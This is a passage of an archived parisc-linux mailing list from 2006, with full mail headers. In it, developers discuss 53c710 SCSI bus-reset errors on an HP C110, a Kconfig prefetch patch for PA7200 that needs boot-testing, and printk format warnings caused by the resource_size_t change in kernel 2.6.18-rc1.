I don't see 0 being a small negative value. ;-)

James' fix only applied to UP builds. :)

Cheers,
	Kyle M.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.18-rc1-pa1: new 53c710 driver's errors?
Date: Fri, 07 Jul 2006 16:46:19 +0000
Lines: 88
Approved: news@gmane.org
Message-ID: <44AE8FDB.7010304@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624120 20056 80.91.229.3 (22 Nov 2014 02:42:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:00 +0000 (UTC)
To: James Bottomley <James.Bottomley@SteelEye.com>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jul 2006 16:46:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 07 Jul 2006 18:46:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79A447D783;
	Fri,  7 Jul 2006 10:46:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10495-07; Fri, 7 Jul 2006 10:46:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D3427D785;
	Fri,  7 Jul 2006 10:46:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2084D7D76D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jul 2006 10:46:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10495-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 7 Jul 2006 10:46:34 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 91D837D74D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jul 2006 10:46:33 -0600 (MDT)
Original-Received: from ([62.235.227.242]) 
	by guri.is.scarlet.be  with ESMTP id k67GkOX03222; 
	Fri, 7 Jul 2006 18:46:25 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.13) Gecko/20060620 Debian/1.7.13-0.2
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: n+bLBTgSfW4orOWveGVoQK5mdmllcgVY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23786

Hello James,

I was testing newest 2.6.18-rc1-pa1 on my c110; on this model an narrow single ended scsi disk is pluged in the external connection 
  drived by your driver 53c710:
[snip]
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
[snip]

Unfortunaltely at the middle of the sw upgrade (apt-get dist-upgrade) some failures occured:
[snip]
Jul  7 17:24:08 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
Jul  7 17:24:08 hpalin kernel: scsi1: Bus Reset detected, executing command 2fe93ce0, slot 2fd6864c, dsp 000a01e8[01e8]
Jul  7 17:24:08 hpalin kernel:  failing command because of reset, slot 2fd6864c, cmnd 2fe93ce0
Jul  7 17:24:09 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO BSY DATA_IN
Jul  7 17:24:09 hpalin kernel: scsi1: Bus Reset detected, executing command 2fe93ce0, slot 2fd6864c, dsp 000a01e8[01e8]
Jul  7 17:24:09 hpalin kernel:  failing command because of reset, slot 2fd6864c, cmnd 2fe93ce0
Jul  7 17:24:10 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO BSY DATA_IN
Jul  7 17:24:10 hpalin kernel: scsi1: Bus Reset detected, executing command 2fe93ce0, slot 2fd6864c, dsp 000a01e8[01e8]
Jul  7 17:24:10 hpalin kernel:  failing command because of reset, slot 2fd68520, cmnd 2fe93920
Jul  7 17:24:10 hpalin kernel:  failing command because of reset, slot 2fd6864c, cmnd 2fe93ce0
Jul  7 17:24:10 hpalin kernel:  failing command because of reset, slot 2fd68778, cmnd 2fe93420
Jul  7 17:24:10 hpalin kernel:  failing command because of reset, slot 2fd688a4, cmnd 2fe936a0
Jul  7 17:24:47 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO BSY DATA_IN
Jul  7 17:24:47 hpalin kernel: scsi1: Bus Reset detected, executing command 2fe93920, slot 2fd688a4, dsp 000a01e8[01e8]
Jul  7 17:24:11 hpalin kernel:  failing command because of reset, slot 2fd68520, cmnd 2fe936a0
Jul  7 17:24:11 hpalin kernel:  failing command because of reset, slot 2fd6864c, cmnd 2fe93420
Jul  7 17:24:11 hpalin kernel:  failing command because of reset, slot 2fd68778, cmnd 2fe93ce0
Jul  7 17:24:11 hpalin kernel:  failing command because of reset, slot 2fd688a4, cmnd 2fe93920
Jul  7 17:24:12 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO BSY DATA_IN
Jul  7 17:24:47 hpalin kernel: scsi1: Bus Reset detected, executing command 2fe93920, slot 2fd688a4, dsp 000a01e8[01e8]
Jul  7 17:24:11 hpalin kernel:  failing command because of reset, slot 2fd68520, cmnd 2fe936a0
Jul  7 17:24:11 hpalin kernel:  failing command because of reset, slot 2fd6864c, cmnd 2fe93420
Jul  7 17:24:11 hpalin kernel:  failing command because of reset, slot 2fd68778, cmnd 2fe93ce0
Jul  7 17:24:11 hpalin kernel:  failing command because of reset, slot 2fd688a4, cmnd 2fe93920
Jul  7 17:24:12 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO BSY DATA_IN
Jul  7 17:24:12 hpalin kernel: scsi1: Bus Reset detected, executing command 2fe936a0, slot 2fd688a4, dsp 000a01e8[01e8]
Jul  7 17:24:12 hpalin kernel:  failing command because of reset, slot 2fd68520, cmnd 2fe93920
Jul  7 17:24:12 hpalin kernel:  failing command because of reset, slot 2fd6864c, cmnd 2fe93ce0
Jul  7 17:24:12 hpalin kernel:  failing command because of reset, slot 2fd68778, cmnd 2fe93420
Jul  7 17:24:12 hpalin kernel:  failing command because of reset, slot 2fd688a4, cmnd 2fe936a0
Jul  7 17:24:13 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO BSY DATA_IN
Jul  7 17:24:13 hpalin kernel: scsi1: Bus Reset detected, executing command 2fe93920, slot 2fd688a4, dsp 000a01e8[01e8]
Jul  7 17:24:13 hpalin kernel:  failing command because of reset, slot 2fd68520, cmnd 2fe936a0
Jul  7 17:24:13 hpalin kernel:  failing command because of reset, slot 2fd6864c, cmnd 2fe93420
Jul  7 17:24:13 hpalin kernel:  failing command because of reset, slot 2fd68778, cmnd 2fe93ce0
Jul  7 17:24:13 hpalin kernel:  failing command because of reset, slot 2fd688a4, cmnd 2fe93920
Jul  7 17:24:14 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO BSY DATA_IN
[snip]
Jul  7 17:30:13 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO BSY DATA_IN
Jul  7 17:30:13 hpalin kernel: scsi1: Bus Reset detected, executing command 2fe93920, slot 2fd688a4, dsp 000a01e8[01e8]
Jul  7 17:30:13 hpalin kernel:  failing command because of reset, slot 2fd68520, cmnd 2fe936a0
Jul  7 17:30:13 hpalin kernel:  failing command because of reset, slot 2fd6864c, cmnd 2fe93420
Jul  7 17:30:13 hpalin kernel:  failing command because of reset, slot 2fd68778, cmnd 2fe93ce0
Jul  7 17:30:13 hpalin kernel:  failing command because of reset, slot 2fd688a4, cmnd 2fe93920
Jul  7 17:30:14 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO BSY DATA_IN
Jul  7 17:30:14 hpalin kernel: scsi1: Bus Reset detected, executing command 2fe936a0, slot 2fd688a4, dsp 000a01e8[01e8]
Jul  7 17:30:14 hpalin kernel:  failing command because of reset, slot 2fd68520, cmnd 2fe93920
Jul  7 17:30:14 hpalin kernel:  failing command because of reset, slot 2fd6864c, cmnd 2fe93ce0
Jul  7 17:30:14 hpalin kernel:  failing command because of reset, slot 2fd68778, cmnd 2fe93420
Jul  7 17:30:14 hpalin kernel:  failing command because of reset, slot 2fd688a4, cmnd 2fe936a0
<end>

and seems to finaly panic (but I tried first to reboot?)

Any idea?

TIA,
	Joel

PS: with previous kernel I read just:
[snip]
May 28 00:26:07 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
May 28 00:26:07 hpalin kernel: scsi1: Bus Reset detected, executing command 226c8320, slot 2fe988a4, dsp 000a01e8[01e8]
May 28 00:26:07 hpalin kernel:  failing command because of reset, slot 2fe98520, cmnd 2fe2b060
May 28 00:26:07 hpalin kernel:  failing command because of reset, slot 2fe9864c, cmnd 2fe2b8a0
May 28 00:26:07 hpalin kernel:  failing command because of reset, slot 2fe98778, cmnd 2fe2ba00
May 28 00:26:07 hpalin kernel:  failing command because of reset, slot 2fe988a4, cmnd 226c8320
[snip]

from time to time but wasn't looping; and this also on a brotherhood arch: d380.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFT] PA7200 users?
Date: Fri, 7 Jul 2006 13:11:28 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20060707171128.GA8689@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624120 20060 80.91.229.3 (22 Nov 2014 02:42:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jul 2006 17:12:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 07 Jul 2006 19:12:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 490287D7A7;
	Fri,  7 Jul 2006 11:12:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10844-06; Fri, 7 Jul 2006 11:12:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A83B7D7A8;
	Fri,  7 Jul 2006 11:12:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 99C6F7D7A6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jul 2006 11:11:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10844-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 7 Jul 2006 11:11:57 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 6096C7D7A5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jul 2006 11:11:57 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 735775840C5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jul 2006 13:11:54 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E42795840C0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jul 2006 13:11:53 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 7406923E83
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jul 2006 13:11:53 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06516-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 7 Jul 2006 13:11:53 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (firewall.oeone.com [216.191.248.101])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 302B923E82
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jul 2006 13:11:53 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 0CC803B05A; Fri,  7 Jul 2006 13:11:29 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 26KcdS45Iyd18PqQe2drBJNaa2FkZtXv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23787

Can someone with a PA7200 please boot test this patch? I was reading
some docs which lead me to believe that PA7200 will suppress traps on
loads to gr0 too.

If not, you'll find out pretty quick when you're boot craps out. :)

Cheers,
	Kyle M.

Index: arch/parisc/Kconfig
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/Kconfig,v
retrieving revision 1.48
diff -u -d -p -r1.48 Kconfig
--- arch/parisc/Kconfig	6 Jul 2006 12:21:25 -0000	1.48
+++ arch/parisc/Kconfig	7 Jul 2006 17:09:40 -0000
@@ -127,7 +127,7 @@ config PA11
 
 config PREFETCH
 	def_bool y
-	depends on PA8X00
+	depends on PA8X00 || PA7200
 
 config 64BIT
 	bool "64-bit kernel"
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.18-rc1-pa1: new printk's warning?
Date: Tue, 11 Jul 2006 15:27:59 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <J28QQN$2C78E6C4D1CF6CFF36C63BCCB1DABEF4@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624121 20066 80.91.229.3 (22 Nov 2014 02:42:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:01 +0000 (UTC)
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Jul 2006 13:28:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 11 Jul 2006 15:28:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE64D7D692;
	Tue, 11 Jul 2006 07:28:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22341-01; Tue, 11 Jul 2006 07:28:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27FA57D67F;
	Tue, 11 Jul 2006 07:28:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E8077D67D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jul 2006 07:28:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22007-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jul 2006 07:28:02 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id ECE407D662
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jul 2006 07:28:01 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42])
	by weequay.is.scarlet.be  with ESMTP id k6BDRxx22596
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jul 2006 15:27:59 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EtbaKx5nMydynYigZWpltydraGRhZtpw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23788

Hello,

Because of this resource_size_t change in this new 2.6.18-rc1:
include/linux/types.h
#ifdef CONFIG_RESOURCES_64BIT
typedef u64 resource_size_t;
#else
typedef u32 resource_size_t;
#endif

and related resource structure:
include/linux/ioport.h
struct resource {
        resource_size_t start;
        resource_size_t end;
        const char *name;
        unsigned long flags;
        struct resource *parent, *sibling, *child;
};

(btw, as start and end are actualy addresses, I would find more relevant =
to
use resource_addr_t as new typedef ;-?)

some printk() warning appears:
# grep resource_size_t  /var/logs/k-2.6.18-rc1-pa1-c110-t
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/arch/parisc/kernel/drivers.c:837: wa=
rning:
format '%lx' expects type 'long unsigned int', but argument 4 has type
'resource_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/net/lasi_82596.c:1545: warni=
ng:
format '%lx' expects type 'long unsigned int', but argument 3 has type
'resource_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/net/lasi_82596.c:1550: warni=
ng:
format '%lx' expects type 'long unsigned int', but argument 2 has type
'resource_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/parisc/ccio-dma.c:1402: warn=
ing:
format '%08lx' expects type 'long unsigned int', but argument 3 has type
'resource_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/parisc/ccio-dma.c:1402: warn=
ing:
format '%08lx' expects type 'long unsigned int', but argument 4 has type
'resource_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/parisc/ccio-dma.c:1554: warn=
ing:
format '%lx' expects type 'long unsigned int', but argument 3 has type
'resource_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/parisc/asp.c:85: warning: fo=
rmat
'%lx' expects type 'long unsigned int', but argument 4 has type 'resource=
_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/parisc/eisa.c:318: warning: =
format
'%08lx' expects type 'long unsigned int', but argument 3 has type
'resource_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/parisc/eisa_enumerator.c:101=
:
warning: format '%lx' expects type 'long unsigned int', but argument 2 ha=
s
type 'resource_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/parisc/eisa_enumerator.c:101=
:
warning: format '%lx' expects type 'long unsigned int', but argument 3 ha=
s
type 'resource_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/parisc/eisa_enumerator.c:191=
:
warning: format '%lx' expects type 'long unsigned int', but argument 2 ha=
s
type 'resource_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/parisc/eisa_enumerator.c:191=
:
warning: format '%lx' expects type 'long unsigned int', but argument 3 ha=
s
type 'resource_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/parport/parport_gsc.c:363:
warning: format '%lx' expects type 'long unsigned int', but argument 2 ha=
s
type 'resource_size_t'
/Debian-apt/SRC/linux-2.6.18-rc1-pa1/drivers/serial/8250_gsc.c:45: warnin=
g:
format '%lx' expects type 'long unsigned int', but argument 2 has type
'resource_size_t'

Any idea?

Thanks,
    Joel=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous de=
venez aujourd'hui Scarlet One grace a un client existant de Scarlet, vous=
 recevez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite su=
r http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Uninterruptible sleep
Date: Tue, 11 Jul 2006 22:27:23 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200607120227.k6C2ROZg023482@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624121 20091 80.91.229.3 (22 Nov 2014 02:42:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jul 2006 02:27:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 12 Jul 2006 04:27:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C8937D6CB;
	Tue, 11 Jul 2006 20:27:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26428-09; Tue, 11 Jul 2006 20:27:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B4E07D6C4;
	Tue, 11 Jul 2006 20:27:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 40D847D6C0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jul 2006 20:27:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26428-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jul 2006 20:27:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 174217D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jul 2006 20:27:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6C2RO5K023484
	for <parisc-linux@lists.parisc-linux.org>;
